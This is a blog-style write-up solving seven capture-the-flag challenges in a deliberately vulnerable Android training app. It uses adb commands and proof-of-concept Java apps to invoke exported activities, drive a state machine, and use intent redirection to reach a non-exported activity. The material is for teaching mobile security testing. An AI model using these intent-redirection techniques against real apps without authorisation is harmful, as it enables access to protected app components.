( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )
CAUTION#FreePalastine
Introduction
In this noob writeup we will explore the world of activities and intents, we will solve 7 challenges with 7 different flags and 7 different topics. We will be focusing on activities from Flag1 to Flag7. Enjoy!
WARNINGI am a noob android guy, if you find any mistake pls ignore, or maybe report it?
Some Definitions Before We Start
What is an Activity?
“An activity is a single, focused thing that the user can do. Almost all activities interact with the user, so the Activity class takes care of creating a window for you in which you can place your UI.”
So an activity is what you mostly see on your screen, it can be the main app activity, a login activity, a note taking activity.
What is an Intent?
“Declaring an intention to do something, and letting Android figure out the app that can handle it.”
So to start an activity, you need to create an intent.
Our Attack Surface?
The primary attack surface in this context is the getIntent()
method. This feature is used to pass data to other apps, making it a major attack surface for potential vulnerabilities.
with that being said, lets start!
Flag1Activity
<activity
android:name="io.hextree.attacksurface.activities.Flag1Activity"
android:exported="true"/>
<activity>
The first thing to notice is that the activity is set to exported="true"
, which means it can be called from outside the app.
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
this.f.addTag("basic-main-activity-avd2");
success(this);
}
This is a simple activity. When created (or called), it will add a tag and invoke the success()
method.
Since this does not require a Proof of Concept (POC) app, I will keep it simple and use adb am
to trigger the activity.
Run the following command to check the logcat:
adb logcat --pid=$(adb shell pidof -s io.hextree.attacksurface)
Now, execute this command to start the activity:
adb shell am start -n io.hextree.attacksurface/.activities.Flag1Activity
start
: Starts the activity.n
: Specifies the component name.io.hextree.attacksurface
: Package name..activities.Flag1Activity
: Component name.
You can also write it like this:
io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag1Activity
However, I prefer to keep it concise. Now, check your app or logcat to see if the success()
method was called, and you should receive the flag!
03-01 15:00:31.749 3417 3417 I Flag1 : success() called!
03-01 15:00:31.766 3417 3417 I Flag1 : HXT{xxxxxxx}
Flag2Activity
<activity
android:name="io.hextree.attacksurface.activities.Flag2Activity"
android:exported="true">
<intent-filter>
<action android:name="io.hextree.action.GIVE_FLAG"/>
</intent-filter>
</activity>
This one is different. We have an intent-filter
with an action name, which means the activity is also implicitly exported.
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
String action = getIntent().getAction();
if (action == null || !action.equals("io.hextree.action.GIVE_FLAG")) {
return;
}
this.f.addTag(action);
success(this);
}
Here, the activity waits for an intent using getIntent()
and checks if the action is either null
or NOT equal to io.hextree.action.GIVE_FLAG
.
- If the condition is
true
, it returns nothing. - If the condition is
false
, it calls thesuccess()
method.
Again, we can use the adb
command to trigger this activity:
adb shell am start -n io.hextree.attacksurface/.activities.Flag2Activity -a io.hextree.action.GIVE_FLAG
a
: Specifies the action name.
03-01 15:11:08.432 3417 3417 I Flag2 : success() called!
03-01 15:11:08.442 3417 3417 I Flag2 : HXT{xxxxxx}
Flag3Activity
<activity
android:name="io.hextree.attacksurface.activities.Flag3Activity"
android:exported="true">
<intent-filter>
<action android:name="io.hextree.action.GIVE_FLAG"/>
<data android:scheme="https"/>
</intent-filter>
</activity>
This is similar to Flag2Activity, but there’s an additional <data>
element with the scheme
attribute set to https
. Let’s explore what this means by examining the activity itself.
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
Intent intent = getIntent();
String action = intent.getAction();
if (action == null || !action.equals("io.hextree.action.GIVE_FLAG")) {
return;
}
this.f.addTag(action);
Uri data = intent.getData();
if (data == null || !data.toString().equals("<https://app.hextree.io/map/android>")) {
return;
}
this.f.addTag(data);
success(this);
}
As you can see, it waits for the same action as Flag2Activity. However, if the condition is false
, it also checks the Uri
data to ensure it matches https://app.hextree.io/map/android
(remember the scheme
?).
- If the data is
null
or NOT equal to the specified URI, it returns nothing. - If the data matches, it calls the
success()
method.
To trigger this activity, we’ll use the adb
command again:
adb shell am start -n io.hextree.attacksurface/.activities.Flag3Activity -a io.hextree.action.GIVE_FLAG -d https://app.hextree.io/map/android
d
: Specifies the data URI.
03-01 15:18:03.264 3417 3417 I Flag3 : success() called!
03-01 15:18:03.273 3417 3417 I Flag3 : HXT{xxxxx}
Flag4Activity
Now things are getting more interesting! This activity introduces some complexity and requires deeper research. Let’s dive in.
<activity
android:name="io.hextree.attacksurface.activities.Flag4Activity"
android:exported="true"/>
<activity>
At first glance, this is just a normal explicitly exported activity. Let’s dig deeper.
public enum State {
INIT(0),
PREPARE(1),
BUILD(2),
GET_FLAG(3),
REVERT(4);
private final int value;
State(int i) {
this.value = i;
}
public int getValue() {
return this.value;
}
public static State fromInt(int i) {
for (State state : values()) {
if (state.getValue() == i) {
return state;
}
}
return INIT;
}
}
IMPORTANTOnly Engineers will get it (kidding)
The first thing that came to my mind when I saw this was state machines. If you’re familiar with state machines, you’ll know they define a flow that determines the current state, the next state, and the actions associated with each state.
Going deeper, we find the main function (I assume) called stateMachine
:
public void stateMachine(Intent intent) {
String action = intent.getAction();
int ordinal = getCurrentState().ordinal();
if (ordinal != 0) {
if (ordinal != 1) {
if (ordinal != 2) {
if (ordinal == 3) {
this.f.addTag(State.GET_FLAG);
setCurrentState(State.INIT);
success(this);
Log.i("Flag4StateMachine", "solved");
return;
}
if (ordinal == 4 && "INIT_ACTION".equals(action)) {
setCurrentState(State.INIT);
Toast.makeText(this, "Transitioned from REVERT to INIT", 0).show();
Log.i("Flag4StateMachine", "Transitioned from REVERT to INIT");
return;
}
} else if ("GET_FLAG_ACTION".equals(action)) {
setCurrentState(State.GET_FLAG);
Toast.makeText(this, "Transitioned from BUILD to GET_FLAG", 0).show();
Log.i("Flag4StateMachine", "Transitioned from BUILD to GET_FLAG");
return;
}
} else if ("BUILD_ACTION".equals(action)) {
setCurrentState(State.BUILD);
Toast.makeText(this, "Transitioned from PREPARE to BUILD", 0).show();
Log.i("Flag4StateMachine", "Transitioned from PREPARE to BUILD");
return;
}
} else if ("PREPARE_ACTION".equals(action)) {
setCurrentState(State.PREPARE);
Toast.makeText(this, "Transitioned from INIT to PREPARE", 0).show();
Log.i("Flag4StateMachine", "Transitioned from INIT to PREPARE");
return;
}
Toast.makeText(this, "Unknown state. Transitioned to INIT", 0).show();
Log.i("Flag4StateMachine", "Unknown state. Transitioned to INIT");
setCurrentState(State.INIT);
}
If you’re a good script kiddie
, you’ll recognize that this is just a series of nested conditions. To trigger the desired behavior, we need to call the actions in the correct order.
You could do this with a Proof of Concept (POC) app using Android Studio, but I managed to achieve it using the am
manager, which simplifies things. Here’s how:
We need to start from the topmost action and proceed in the following order:
PREPARE_ACTION
BUILD_ACTION
GET_FLAG_ACTION
INIT_ACTION
CAUTIONThe order is crucial! Missing the order will cause the process to fail.
adb shell am start -n io.hextree.attacksurface/.activities.Flag4Activity -a PREPARE_ACTION; \
adb shell am start -n io.hextree.attacksurface/.activities.Flag4Activity -a BUILD_ACTION; \
adb shell am start -n io.hextree.attacksurface/.activities.Flag4Activity -a GET_FLAG_ACTION; \
adb shell am start -n io.hextree.attacksurface/.activities.Flag4Activity -a INIT_ACTION
TIPIf this block of commands doesn’t work, try running them one at a time.
03-01 15:34:17.535 3570 3570 I Flag4 : success() called!
03-01 15:34:17.546 3570 3570 I Flag4 : HXT{xxxxxxxxxxxxxxx}
Flag5Activity
From this point onward, we’ll stop using the adb
manager and start writing some Proof of Concept (POC) apps using Android Studio.
<activity
android:name="io.hextree.attacksurface.activities.Flag5Activity"
android:exported="true"/>
<activity>
The activity is explicitly exported. Let’s dive deeper into its implementation.
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
Intent intent = getIntent();
Intent intent2 = (Intent) intent.getParcelableExtra("android.intent.extra.INTENT");
if (intent2 == null || intent2.getIntExtra("return", -1) != 42) {
return;
}
this.f.addTag(42);
Intent intent3 = (Intent) intent2.getParcelableExtra("nextIntent");
this.nextIntent = intent3;
if (intent3 == null || intent3.getStringExtra("reason") == null) {
return;
}
this.f.addTag("nextIntent");
if (this.nextIntent.getStringExtra("reason").equals("back")) {
this.f.addTag(this.nextIntent.getStringExtra("reason"));
success(this);
} else if (this.nextIntent.getStringExtra("reason").equals("next")) {
intent.replaceExtras(new Bundle());
startActivity(this.nextIntent);
}
}
Okay, what in the world is this? It looks like nested intents rather than nested conditions. An intent inside an intent? I decided to do some research and found this StackOverflow post, which helped me construct the POC app. Here’s how it works:
- Outer Intent: The initial intent that starts the Activity. (
intent
) - First Nested Intent: Extracted from the outer intent using
getParcelableExtra
. (intent2
) - Second Nested Intent: Extracted from the first nested intent using
getParcelableExtra
. (intent3
)
But something caught my attention:
if (this.nextIntent.getStringExtra("reason").equals("back")) {
this.f.addTag(this.nextIntent.getStringExtra("reason"));
success(this);
} else if (this.nextIntent.getStringExtra("reason").equals("next")) {
intent.replaceExtras(new Bundle());
startActivity(this.nextIntent);
}
- If the
reason
equals"back"
, thesuccess()
method is called. - If the
reason
equals"next"
, it replaces thestartActivity
parameter with thenextIntent
.
This means we can pass another intent inside it. Keep this in mind, as we’ll revisit it later. For now, since we don’t need it to get Flag5
, let’s proceed.
Here’s the POC app:
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Create the innermost intent (intent3)
Intent intent3 = new Intent();
intent3.putExtra("reason", "back");
// Create the middle intent (intent2) and embed intent3
Intent intent2 = new Intent();
intent2.putExtra("nextIntent", intent3);
intent2.putExtra("return", 42);
// Create the outer intent (intent1) and embed intent2
Intent intent1 = new Intent();
intent1.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity");
intent1.putExtra("android.intent.extra.INTENT", intent2);
// Start the activity with the outer intent
startActivity(intent1);
}
}
NOTEthis is only more illustration for noob guys like me, if you already got it then skip.
Still confused? Here’s how I managed to understand it:
In the target app,
intent2
is extracted fromintent1
like this:Intent intent2 = (Intent) intent.getParcelableExtra("android.intent.extra.INTENT");
To reverse this in the POC app, we put
intent2
insideintent1
:intent1.putExtra("android.intent.extra.INTENT", intent2);
I hope this makes it clearer when writing your POC app.
03-01 16:24:14.766 3685 3685 I Flag5 : success() called!
03-01 16:24:14.852 3685 3685 I Flag5 : HXT{xxxxxxxxxxxx}
Flag6Activity
<activity
android:name="io.hextree.attacksurface.activities.Flag6Activity"
android:exported="false"/>
<activity>
Oops! This activity is not exported. How can we call it if it’s not exported? Is this a dead end?
Well, not necessarily. Remember this part from Flag5Activity?
if (this.nextIntent.getStringExtra("reason").equals("back")) {
this.f.addTag(this.nextIntent.getStringExtra("reason"));
success(this);
} else if (this.nextIntent.getStringExtra("reason").equals("next")) {
intent.replaceExtras(new Bundle());
startActivity(this.nextIntent);
}
What if we could abuse startActivity(this.nextIntent);
and place our intent inside it to target Flag6Activity? This means we could potentially start Flag6Activity indirectly. Let’s first examine Flag6Activity:
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
if ((getIntent().getFlags() & 1) != 0) {
this.f.addTag("FLAG_GRANT_READ_URI_PERMISSION");
success(this);
}
}
As you can see, it’s a simple activity that waits for the FLAG_GRANT_READ_URI_PERMISSION
flag to call the success()
method. This means we can reuse the POC app from Flag5Activity with a slight modification to achieve our goal.
This is called Intent Redirection, I recommend reading this blog by Anas https://medium.com/@0x3adly/android-intent-redirection-a-hackers-gateway-to-internal-components-ebe126bbb2e0
Here’s the updated POC app:
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Create the innermost intent (intent3)
Intent intent3 = new Intent();
intent3.putExtra("reason", "next"); // Set reason to "next" to trigger startActivity
intent3.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag6Activity");
intent3.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); // Add the required flag
// Create the middle intent (intent2) and embed intent3
Intent intent2 = new Intent();
intent2.putExtra("nextIntent", intent3);
intent2.putExtra("return", 42);
// Create the outer intent (intent1) and embed intent2
Intent intent1 = new Intent();
intent1.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity");
intent1.putExtra("android.intent.extra.INTENT", intent2);
// Start the activity with the outer intent
startActivity(intent1);
}
}
Can you spot the difference? Here’s the key part:
Intent intent3 = new Intent();
intent3.putExtra("reason", "next"); // Set reason to "next" to trigger startActivity
intent3.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag6Activity");
intent3.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); // Add the required flag
We changed the reason
to "next"
so the condition in Flag5Activity evaluates to true
, triggering startActivity(this.nextIntent)
. Then, we set the target activity to Flag6Activity and added the FLAG_GRANT_READ_URI_PERMISSION
flag.
At first glance, this might seem complicated, but it’s actually quite simple. Think of it as an SSRF (Server-Side Request Forgery) web vulnerability. In SSRF, you abuse a service to access internal resources that you wouldn’t normally have access to as an external user. Similarly, here we don’t have direct access to Flag6Activity because it’s NOT exported. However, by leveraging Flag5Activity, we can gain indirect access from the inside. Got it?
03-01 16:38:44.088 3685 3685 I Flag6 : success() called!
03-01 16:38:44.186 3685 3685 I Flag6 : HXT{xxxxx}
In fact, you can modify the script to call Flag2Activity as well. Just make sure to add the required action:
Intent intent3 = new Intent();
intent3.putExtra("reason", "next");
intent3.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag2Activity");
intent3.setAction("io.hextree.action.GIVE_FLAG");
// intent3.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); // Not needed for Flag2Activity
Success!
03-01 16:40:26.367 3685 3685 I Flag2 : success() called!
03-01 16:40:26.395 3685 3685 I Flag2 : HXT{xxxxxx}
Flag7Activity
Finally, we’ve reached the last one!
<activity
android:name="io.hextree.attacksurface.activities.Flag7Activity"
android:exported="true"/>
<activity>
Nothing unusual here. Let’s dig deeper into the code.
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
if (this.f == null) {
this.f = new LogHelper(this);
}
String action = getIntent().getAction();
if (action == null || !action.equals("OPEN")) {
return;
}
this.f.addTag("OPEN");
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
String action = intent.getAction();
if (action == null || !action.equals("REOPEN")) {
return;
}
this.f.addTag("REOPEN");
success(this);
}
As you can see, this activity uses instance reusing. The first time it’s launched, it expects the action "OPEN"
. The second time, it expects the action "REOPEN"
. However, if we call this using the am
manager, wouldn’t it create two separate instances using onCreate
? How can we trigger onNewIntent
instead?
This is where FLAG_ACTIVITY_SINGLE_TOP
and the Activity Lifecycle come into play. For more details, check out this Android Activity Lifecycle guide.
Here’s how to trigger it using adb
:
adb shell am start -n io.hextree.attacksurface/.activities.Flag7Activity -a OPEN; \
adb shell am start -n io.hextree.attacksurface/.activities.Flag7Activity -a REOPEN --activity-single-top
How It Works:
With FLAG_ACTIVITY_SINGLE_TOP
:
- The existing instance of
Flag7Activity
is reused. - The
onNewIntent
method is called, which handles the"REOPEN"
action and triggerssuccess(this)
.
Workflow:
- First Launch (
OPEN
action):onCreate
is called.- The
action
is"OPEN"
, sothis.f.addTag("OPEN")
is executed.
- Reusing the Activity (
REOPEN
action):onNewIntent
is called (because ofFLAG_ACTIVITY_SINGLE_TOP
).- The
action
is"REOPEN"
, sothis.f.addTag("REOPEN")
is executed, andsuccess(this)
is called.
03-01 23:22:40.775 3685 3685 I Flag7 : success() called!
03-01 23:22:40.812 3685 3685 I Flag7 : HXT{xxxxxxxxx}
Conclusion
So this is it for Part1, we managed to get the first 7 flag for the apk, which was all for the activity part. We will continue digging more in upcoming parts inshalah.
TIPI left some references in the end which I find super usefull, some were already mentioned above, make sure to check them all!
IMPORTANTIf anyone has any question or an inquire or even want to contribute, feel free to hit me on any of social, I would love to discuss!
References
OFCOURSE HEXTREE.IO
Android Activity Lifecycle
https://medium.com/@ranjeet123/android-activity-lifecycle-in-detail-eaf2931a1b37Sending Intent Inside Another Intent
https://stackoverflow.com/questions/13381535/sending-intent-inside-of-another-intentAndroid Developer Documentation
https://developer.android.com/guide/components/activities/intro-activitiesIntent Redirection
https://medium.com/@0x3adly/android-intent-redirection-a-hackers-gateway-to-internal-components-ebe126bbb2e0